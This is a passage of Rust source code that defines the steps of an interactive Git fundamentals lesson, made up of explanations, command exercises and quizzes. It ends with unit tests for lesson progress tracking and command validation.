1630                instruction: "".to_string(),
1631                hint: None,
1632                step_type: StepType::Information {
1633                    content: "Welcome to Git Fundamentals!\n\nGit is a version control system - like 'Track Changes' for code.\n\nWhy use Git?\n  • Track every change to your code\n  • Collaborate with others without conflicts\n  • Experiment safely (branches)\n  • Roll back mistakes\n  • See who changed what and when\n  • Backup your work (via GitHub, GitLab, etc.)\n\nKey concepts:\n  • Repository (repo): Project folder tracked by Git\n  • Commit: Snapshot of your code at a point in time\n  • Branch: Parallel version of your code\n  • Remote: Server hosting your repo (GitHub, etc.)\n  • Clone: Download a copy of a repository\n  • Push: Upload your changes\n  • Pull: Download others' changes\n\nGit is essential for:\n  • Professional development\n  • Open source contribution\n  • Portfolio building\n  • Team collaboration".to_string(),
1634                },
1635            },
1636            LessonStep {
1637                step_number: 2,
1638                title: "Initializing a Repository".to_string(),
1639                instruction: "".to_string(),
1640                hint: None,
1641                step_type: StepType::Information {
1642                    content: "Starting a new Git project:\n\nCommand:\n  git init\n\nWhat it does:\n  • Creates a .git folder (hidden directory)\n  • This folder stores all version history\n  • Turns current directory into a Git repository\n\nWorkflow:\n  mkdir my-project\n  cd my-project\n  git init\n  # Now you have a Git repository!\n\nYou'll see:\n  'Initialized empty Git repository in /path/to/my-project/.git/'\n\nThe .git folder contains:\n  • All commits\n  • Branch information\n  • Configuration\n  • History\n\nIMPORTANT:\n  • Don't delete .git folder (you'll lose all history!)\n  • Don't manually edit files in .git/\n  • One .git per project (not per subfolder)\n\nAlternative: Clone existing repository\n  git clone https://github.com/user/repo.git".to_string(),
1643                },
1644            },
1645            LessonStep {
1646                step_number: 3,
1647                title: "Checking Repository Status".to_string(),
1648                instruction: "The most important Git command is 'git status'. It shows what's changed. Try it: git status".to_string(),
1649                hint: Some("Type: git status".to_string()),
1650                step_type: StepType::CommandExercise {
1651                    expected_command: "git status".to_string(),
1652                    validation: CommandValidation::CommandOnly,
1653                    success_message: "Perfect! 'git status' is your best friend. Run it constantly to see:\n  • Which files changed\n  • Which changes are staged for commit\n  • Which branch you're on\n  • If you're ahead/behind remote\n\nMake it a habit to run 'git status' before every commit!".to_string(),
1654                },
1655            },
1656            LessonStep {
1657                step_number: 4,
1658                title: "Understanding Git Workflow".to_string(),
1659                instruction: "".to_string(),
1660                hint: None,
1661                step_type: StepType::Information {
1662                    content: "The Git workflow has three stages:\n\n1. WORKING DIRECTORY (modified files)\n   ↓\n   git add (stage changes)\n   ↓\n2. STAGING AREA (files ready to commit)\n   ↓\n   git commit (save snapshot)\n   ↓\n3. REPOSITORY (committed history)\n   ↓\n   git push (upload to remote)\n   ↓\n4. REMOTE (GitHub, GitLab, etc.)\n\nThink of it like:\n  • Working Directory = Your desk (working on documents)\n  • Staging Area = Box for mail (selecting what to send)\n  • Repository = Filing cabinet (permanent storage)\n  • Remote = Cloud backup\n\nCommands:\n  git status           See what's changed\n  git add file.txt     Stage specific file\n  git add .            Stage all changes\n  git commit -m 'msg'  Save snapshot with message\n  git push             Upload to remote\n  git pull             Download from remote".to_string(),
1663                },
1664            },
1665            LessonStep {
1666                step_number: 5,
1667                title: "Staging Changes with git add".to_string(),
1668                instruction: "".to_string(),
1669                hint: None,
1670                step_type: StepType::Information {
1671                    content: "'git add' stages files for commit.\n\nCommands:\n  git add file.txt         Stage one file\n  git add file1 file2      Stage multiple files\n  git add .                Stage all changes in current directory\n  git add -A               Stage ALL changes everywhere\n  git add *.js             Stage all .js files\n  git add -p               Interactive staging (review each change)\n\nWhat 'staging' means:\n  • You're selecting which changes to include in next commit\n  • Lets you commit logical chunks, not everything at once\n  • Like packing a box - choose what goes in\n\nExample workflow:\n  # Edit multiple files\n  git status              # See what changed\n  git add feature.js      # Stage only the feature\n  git status              # Verify what's staged\n  git commit -m 'Add feature'\n  # Later...\n  git add bugfix.js       # Stage the bugfix separately\n  git commit -m 'Fix bug'\n\nWhy stage separately?\n  • Clean, focused commit history\n  • Easier to review changes\n  • Easier to revert specific features".to_string(),
1672                },
1673            },
1674            LessonStep {
1675                step_number: 6,
1676                title: "Quiz: Understanding git add".to_string(),
1677                instruction: "".to_string(),
1678                hint: None,
1679                step_type: StepType::MultipleChoice {
1680                    question: "What does 'git add .' do?".to_string(),
1681                    options: vec![
1682                        "Commits all changes immediately".to_string(),
1683                        "Stages all changes in the current directory and subdirectories".to_string(),
1684                        "Deletes all unstaged files".to_string(),
1685                        "Pushes changes to remote repository".to_string(),
1686                    ],
1687                    correct_index: 1,
1688                    explanation: "Correct! 'git add .' stages all new, modified, and deleted files in the current directory and all subdirectories. The dot (.) means 'current directory and everything under it'. This DOES NOT commit anything yet - you still need 'git commit' to save the snapshot. It's like putting documents in a box before mailing them.".to_string(),
1689                },
1690            },
1691            LessonStep {
1692                step_number: 7,
1693                title: "Committing Changes".to_string(),
1694                instruction: "".to_string(),
1695                hint: None,
1696                step_type: StepType::Information {
1697                    content: "'git commit' saves a snapshot of staged changes.\n\nBasic usage:\n  git commit -m \"Commit message\"\n  git commit -m \"Add user login feature\"\n\nLonger messages:\n  git commit\n  # Opens editor for multi-line message\n  # First line: summary (50 chars or less)\n  # Blank line\n  # Detailed explanation\n\nCommit message best practices:\n  ✓ Use present tense: \"Add feature\" not \"Added feature\"\n  ✓ Be specific: \"Fix login validation bug\" not \"Fix bug\"\n  ✓ Keep first line under 50 characters\n  ✓ Explain WHY, not just WHAT\n\nGood examples:\n  \"Add password reset functionality\"\n  \"Fix memory leak in image processor\"\n  \"Update dependencies to patch security issue\"\n\nBad examples:\n  \"stuff\" \"wip\" \"fixed it\" \"asdfasdf\" \"changes\"\n\nUseful flags:\n  git commit -m \"message\"    Quick commit\n  git commit -a -m \"msg\"     Stage + commit modified files (not new files)\n  git commit --amend         Fix last commit message".to_string(),
1698                },
1699            },
1700            LessonStep {
1701                step_number: 8,
1702                title: "Viewing Commit History".to_string(),
1703                instruction: "The 'git log' command shows commit history. Try it: git log".to_string(),
1704                hint: Some("Type: git log (press 'q' to exit)".to_string()),
1705                step_type: StepType::CommandExercise {
1706                    expected_command: "git log".to_string(),
1707                    validation: CommandValidation::CommandOnly,
1708                    success_message: "Great! git log shows:\n  • Commit hash (unique ID)\n  • Author\n  • Date\n  • Commit message\n\nUseful variations:\n  git log --oneline          Compact view\n  git log --graph            Show branch graph\n  git log -n 5               Last 5 commits\n  git log --author='Alice'   Commits by Alice\n  git log file.txt           History of specific file".to_string(),
1709                },
1710            },
1711            LessonStep {
1712                step_number: 9,
1713                title: "Viewing Changes with git diff".to_string(),
1714                instruction: "".to_string(),
1715                hint: None,
1716                step_type: StepType::Information {
1717                    content: "'git diff' shows what changed.\n\nUsage:\n  git diff                  Changes not yet staged\n  git diff --staged         Changes that are staged\n  git diff HEAD             All changes (staged + unstaged)\n  git diff branch1 branch2  Compare branches\n  git diff commit1 commit2  Compare commits\n  git diff file.txt         Changes in specific file\n\nReading diff output:\n  --- a/file.txt      Original file\n  +++ b/file.txt      Modified file\n  @@ -10,7 +10,7 @@  Line numbers\n  -old line           Line removed (red)\n  +new line           Line added (green)\n   unchanged          Context line\n\nPractical uses:\n  • Before staging: Review what you're about to add\n  • Before committing: Double-check staged changes\n  • Code review: See what changed in a commit\n  • Debugging: When did this line change?\n\nWorkflow:\n  # Make changes\n  git diff              # Review changes\n  git add file.txt\n  git diff --staged     # Review what's staged\n  git commit -m \"msg\"".to_string(),
1718                },
1719            },
1720            LessonStep {
1721                step_number: 10,
1722                title: "Cloning Repositories".to_string(),
1723                instruction: "".to_string(),
1724                hint: None,
1725                step_type: StepType::Information {
1726                    content: "'git clone' downloads a repository.\n\nUsage:\n  git clone https://github.com/user/repo.git\n  git clone https://github.com/user/repo.git my-folder\n  git clone git@github.com:user/repo.git  (SSH)\n\nWhat happens:\n  1. Creates a new folder with repo name\n  2. Downloads all files and history\n  3. Sets up remote connection to origin\n  4. Checks out the default branch (usually 'main')\n\nExamples:\n  git clone https://github.com/torvalds/linux.git\n  git clone https://github.com/microsoft/vscode.git\n\nAfter cloning:\n  cd repo-name\n  git status           # Check status\n  git log              # See history\n  git remote -v        # See remote URLs\n\nHTTPS vs SSH:\n  • HTTPS: Easy setup, requires password/token each time\n  • SSH: Requires setup, but no password needed\n\nWhere to clone from?\n  • GitHub (most popular)\n  • GitLab\n  • Bitbucket\n  • Self-hosted servers".to_string(),
1727                },
1728            },
1729            LessonStep {
1730                step_number: 11,
1731                title: "Pushing and Pulling Changes".to_string(),
1732                instruction: "".to_string(),
1733                hint: None,
1734                step_type: StepType::Information {
1735                    content: "Syncing with remote repositories:\n\ngit push - Upload your commits:\n  git push                    Push current branch\n  git push origin main        Push 'main' to 'origin'\n  git push -u origin branch   Set upstream and push\n\ngit pull - Download and merge changes:\n  git pull                    Pull current branch\n  git pull origin main        Pull from specific branch\n\nWorkflow:\n  # Make changes locally\n  git add .\n  git commit -m \"Add feature\"\n  git pull    # Get latest changes from team\n  git push    # Upload your changes\n\nIMPORTANT:\n  • Always pull before push (get latest changes first)\n  • Pull before starting work each day\n  • Push frequently (don't hoard commits)\n\nHandling conflicts:\n  # If pull shows conflicts\n  git status               # See conflicting files\n  # Edit files to resolve conflicts\n  git add .\n  git commit -m \"Merge conflicts\"\n  git push\n\nOrigin:\n  'origin' is the default name for the remote repository\n  git remote -v shows all remotes".to_string(),
1736                },
1737            },
1738            LessonStep {
1739                step_number: 12,
1740                title: "Quiz: Git Workflow".to_string(),
1741                instruction: "".to_string(),
1742                hint: None,
1743                step_type: StepType::MultipleChoice {
1744                    question: "What's the correct order to save and upload changes?".to_string(),
1745                    options: vec![
1746                        "git commit → git add → git push".to_string(),
1747                        "git add → git commit → git push".to_string(),
1748                        "git push → git commit → git add".to_string(),
1749                        "git add → git push → git commit".to_string(),
1750                    ],
1751                    correct_index: 1,
1752                    explanation: "Correct! The workflow is:\n  1. git add (stage changes)\n  2. git commit (save snapshot locally)\n  3. git push (upload to remote)\n\nThink of it as:\n  1. Pack the box (add)\n  2. Seal and label the box (commit)\n  3. Mail the box (push)\n\nYou can't commit unstaged changes, and you can't push uncommitted changes!".to_string(),
1753                },
1754            },
1755            LessonStep {
1756                step_number: 13,
1757                title: "Essential Git Commands Summary".to_string(),
1758                instruction: "".to_string(),
1759                hint: None,
1760                step_type: StepType::Information {
1761                    content: "Git command quick reference:\n\nSetup:\n  git init              Create new repository\n  git clone url         Download repository\n\nBasic workflow:\n  git status            Check status (run often!)\n  git add file          Stage file\n  git add .             Stage all changes\n  git commit -m \"msg\"   Save snapshot\n  git push              Upload to remote\n  git pull              Download from remote\n\nViewing:\n  git log               Commit history\n  git log --oneline     Compact history\n  git diff              Unstaged changes\n  git diff --staged     Staged changes\n\nConfiguration:\n  git config --global user.name \"Your Name\"\n  git config --global user.email \"you@example.com\"\n\nHelp:\n  git help command      Detailed help\n  git command --help    Same as above\n\nDaily workflow:\n  1. git pull           (get latest)\n  2. Make changes\n  3. git status         (check changes)\n  4. git add .          (stage)\n  5. git commit -m \"\"   (save)\n  6. git push           (upload)".to_string(),
1762                },
1763            },
1764            LessonStep {
1765                step_number: 14,
1766                title: "Completion: Git Fundamentals Mastered!".to_string(),
1767                instruction: "".to_string(),
1768                hint: None,
1769                step_type: StepType::Information {
1770                    content: "Congratulations! You've learned Git fundamentals!\n\nKey concepts mastered:\n  • Repository: Version-tracked project\n  • Commit: Snapshot of your code\n  • Staging: Selecting changes to commit\n  • Remote: Server hosting your code\n\nEssential commands:\n  git init              Start new repo\n  git clone url         Copy existing repo\n  git status            Check status\n  git add .             Stage changes\n  git commit -m \"msg\"   Save snapshot\n  git log               View history\n  git diff              See changes\n  git push              Upload commits\n  git pull              Download commits\n\nGit workflow:\n  1. Make changes\n  2. git add (stage)\n  3. git commit (save)\n  4. git push (share)\n\nBest practices:\n  ✓ Commit often with clear messages\n  ✓ Pull before push\n  ✓ Run git status frequently\n  ✓ Review changes with git diff\n  ✓ Write meaningful commit messages\n\nNext steps:\n  • Learn branching and merging\n  • Explore GitHub/GitLab\n  • Practice with real projects\n  • Learn .gitignore\n\nYou're ready to version control like a pro!".to_string(),
1771                },
1772            },
1773        ],
1774    }
1775}
1776
1777#[cfg(test)]
1778mod tests {
1779    use super::*;
1780
1781    #[test]
1782    fn test_lesson_progress_new() {
1783        let progress = LessonProgress::new("test-lesson".to_string());
1784        assert_eq!(progress.lesson_id, "test-lesson");
1785        assert_eq!(progress.current_step, 1);
1786        assert!(!progress.is_completed());
1787    }
1788
1789    #[test]
1790    fn test_lesson_progress_completion() {
1791        let mut progress = LessonProgress::new("test-lesson".to_string());
1792        progress.complete_step(1);
1793        progress.complete_step(2);
1794        progress.complete_step(3);
1795
1796        assert_eq!(progress.completion_percentage(3), 100.0);
1797        assert_eq!(progress.completion_percentage(6), 50.0);
1798    }
1799
1800    #[test]
1801    fn test_command_validation_exact() {
1802        let validator = LessonValidator::new();
1803        let result = validator.validate_command(
1804            "ls -la",
1805            "ls -la",
1806            &CommandValidation::Exact,
1807        );
1808        assert!(result.is_success());
1809
1810        let result = validator.validate_command(
1811            "ls -l",
1812            "ls -la",
1813            &CommandValidation::Exact,
1814        );
1815        assert!(!result.is_success());
1816    }
1817
1818    #[test]
1819    fn test_command_validation_command_only() {
1820        let validator = LessonValidator::new();
1821        let result = validator.validate_command(
1822            "ls -la /home",
1823            "ls",
1824            &CommandValidation::CommandOnly,
1825        );
1826        assert!(result.is_success());
1827    }
1828}